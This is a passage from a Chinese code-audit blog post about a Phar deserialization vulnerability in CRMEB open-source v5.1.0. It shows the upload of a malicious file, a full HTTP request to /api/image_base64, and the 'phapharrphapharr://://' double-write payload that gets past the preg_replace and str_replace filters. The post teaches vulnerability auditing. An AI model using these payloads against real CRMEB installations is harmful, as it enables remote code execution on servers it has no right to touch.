  1. 上传恶意文件

选择我们要上传的恶意文件,然后点击上传,此时进行抓包。
image.png
添加请求头,并使用通过第三步获取到的token替换掉<token>

Authori-zation: Bearer <token>

image.png
放行后可以看到文件成功上传。
image.png
观察文件路径,/uploads/store/comment/20230916/f78621efaf95689076f55ada575d32d2.gif

  1. 触发Phar进行反序列化

构造phar请求,路径为我们上传文件后的恶意文件路径。

POST /api/image_base64 HTTP/1.1
Host: localhost:45600
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 222

{
"image": "phapharrphapharr://://./uploads/store/comment/20230916/f78621efaf95689076f55ada575d32d2.gif/test.jpg",
"code": "phapharrphapharr://://./uploads/store/comment/20230916/f78621efaf95689076f55ada575d32d2.gif/test.jpg"
}

image.png

readfile 函数在 PHP 中用于读取文件并将其内容输出到浏览器。当你使用相对路径作为参数传递给 readfile 函数时,相对路径是相对于当前执行 PHP 脚本的路径
入口文件 index.php 再 public 目录下,Phar协议相对的就是这个路径。

漏洞审计

造成Phar文件解析的函数readfile,位于common.php第569行。
image.png
当恶意请求经过重重过滤后,最终的$url是完整的phar协议,路径为我们上传的恶意文件。
image.png
put_image函数在get_image_base64中调用,位于api/controller/v1/PublicController.php第318行。
image.png
从 postMore 传参开始寻找构造条件。

  1. 请求体参数正则过滤**phar**
    [$imageUrl, $codeUrl] = $request->postMore([
    ['image', ''],
    ['code', ''],
    ], true);
    参数获取的函数调用路径为:postMore->more
    image.png
    观察Request.php文件中的filterWord,这里通过preg_replace将指定过滤的数据全部转成了空。
    默认情况下,preg_replace 函数只会替换一次匹配的内容。如果你想替换所有匹配到的内容,你可以在调用 preg_replace 函数时传递第四个参数 $limit,将其设置为 -1,表示替换所有匹配。
    函数原型:
    preg_replace($pattern, $replacement, $subject, $limit, &$count);
    参数说明:
  • $pattern:正则表达式模式,用于搜索匹配的内容。
  • $replacement:替换找到的匹配内容时要使用的内容。
  • $subject:要搜索和替换的字符串。
  • $limit:可选参数,指定最多替换的次数。默认为 -1,表示替换所有匹配。
  • &$count:可选参数,用于存储替换的次数。

image.png
这里的/phar/is正则:

  • / 是正则表达式的分隔符。
  • phar 是要匹配的字符串。
  • i 是正则表达式模式修饰符,表示不区分大小写进行匹配。
  • s 是正则表达式模式修饰符,表示. 可以匹配换行符。

因为只匹配一次,这里可以通过双重写法绕过:phapharr->phar

  1. 绕过两个判断条件

回到get_image_base64,观察两个判断条件:

if ($imageUrl !== '' && !preg_match('/.*(\.png|\.jpg|\.jpeg|\.gif)$/', $imageUrl) && strpos($imageUrl, "phar://") !== false) {
return app('json')->success(['code' => false, 'image' => false]);
}
if ($codeUrl !== '' && !(preg_match('/.*(\.png|\.jpg|\.jpeg|\.gif)$/', $codeUrl) || strpos($codeUrl, 'https://mp.weixin.qq.com/cgi-bin/showqrcode') !== false) && strpos($codeUrl, "phar://") !== false) {
return app('json')->success(['code' => false, 'image' => false]);
}
  1. 对 $imageUrl 进行检查:
    • 检查 $imageUrl 是否不为空。
    • 检查 $imageUrl 是否不以 .png, .jpg, .jpeg, 或 .gif 结尾
    • 检查 $imageUrl 是否包含 “phar://“
  2. 对 $codeUrl 进行检查:
    • 检查 $codeUrl 是否不为空。
    • 检查 $codeUrl 是否不以 .png, .jpg, .jpeg, 或 .gif 结尾,或者不是以 ‘https://mp.weixin.qq.com/cgi-bin/showqrcode‘ 开头
    • 检查 $imageUrl 是否包含 “phar://“

根据 Phar 的特性,可以使得后缀为他们指定任意白名单后缀,所以!preg_match('/.*(\.png|\.jpg|\.jpeg|\.gif)$/', $imageUrl)返回的是 false。运算符&&短路求值(Short-circuit evaluation)特性:
如果第一个表达式为假(false),则不会执行第二个表达式,因为整个逻辑与表达式已经确定为假,所以不必再判断第二个表达式。
根据这个条件,当我们满足后缀是以 .png, .jpg, .jpeg, 或 .gif 结尾就不会触发strpos($imageUrl, "phar://") !== false判断。因此这里被绕过。

  1. 进入**put_image**函数

通过判断后,进入到以下代码中去。先通过CacheService::remember判断$codeUrl的值有没有缓存,如果没有缓存的话,进入到调用提供的匿名函数中去。

$code = CacheService::remember($codeUrl, function () use ($codeUrl) {
$codeTmp = $code = $codeUrl ? image_to_base64($codeUrl) : false;
if (!$codeTmp) {
$putCodeUrl = put_image($codeUrl);
$code = $putCodeUrl ? image_to_base64(app()->request->domain(true) . '/' . $putCodeUrl) : false;
$code ?? unlink($_SERVER["DOCUMENT_ROOT"] . '/' . $putCodeUrl);
}
return $code;
});

匿名函数的逻辑是,

  1. 先通过image_to_base64函数中的curl_exec去请求获取内容
  2. “不行”的话再通过put_image函数中的readfile获取内容保存到服务器,将返回的路径赋值给 $putCodeUrl
  3. 再通过image_to_base64请求这个地址。

这里需要进入put_image,需要让image_to_base64函数返回 false。
观察image_to_base64函数,当$code!=200的时候就会返回 false 了。反过来看,满足$code == 200的只有 HTTP、FTP 请求,不属于这两种协议的请求都可以返回 false。
image.png

  1. 绕过str_replace函数

在进入readfile之前还有一个对路径后缀的判断:

$ext = pathinfo($url);
if ($ext['extension'] != "jpg" && $ext['extension'] != "png" && $ext['extension'] != "jpeg") {
return false;
}
$filename = time() . "." . $ext['extension'];

根据Phar特性,完全可以满足。
再观察str_replace函数特性如下:

  1. 替换字符串:str_replace 会在目标字符串中查找指定的字符串或字符,并将其替换为另一个字符串或字符。
  2. 区分大小写:默认情况下,str_replace 区分大小写,即只会替换与指定字符串完全匹配的部分
  3. 替换多次出现的内容:str_replace 可以替换目标字符串中的所有匹配项,而不仅仅是第一个。

根据特性,这里可以通过双重写法绕过。pharphar://://->phar://

$url = str_replace('phar://', '', $url);

image.png
payload 解析路径为:phapharrphapharr://://->pharphar://://->phar://
漏洞复现.mp4 (21.02MB)# 0x05 总结
PHP的代码审计相对来说比较透明,关注一些危险函数即可。比较考验开发人员的安全意识和安全开发的水平能力。在实际进行代码审计时,我们需要搭建环境,结合数据库日志、代码审计工具、抓包工具进行检测。除了传统的危险函数检索,还可以从用户权限能力、业务绕过、凭据与加密方向进行考虑与审计。PHP 在CTF中的题目占较大,有非常多不错的题目,我们可以借鉴一二进行学习。

CRMEB开源版v5.1.0代码审计

https://www.en0th.com/posts/f2467d.html

作者

en0th

发布于

2024-04-30

更新于

2024-04-30

许可协议

评论